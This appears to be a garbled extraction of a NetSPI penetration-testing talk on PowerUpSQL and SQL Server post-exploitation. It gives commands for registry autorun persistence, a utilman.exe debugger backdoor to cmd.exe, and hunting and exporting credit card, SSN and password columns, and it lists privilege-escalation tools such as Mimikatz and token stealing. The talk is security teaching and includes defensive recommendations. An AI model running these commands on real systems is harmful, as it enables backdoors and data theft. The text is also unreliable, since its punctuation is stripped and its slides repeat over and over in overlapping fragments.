3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind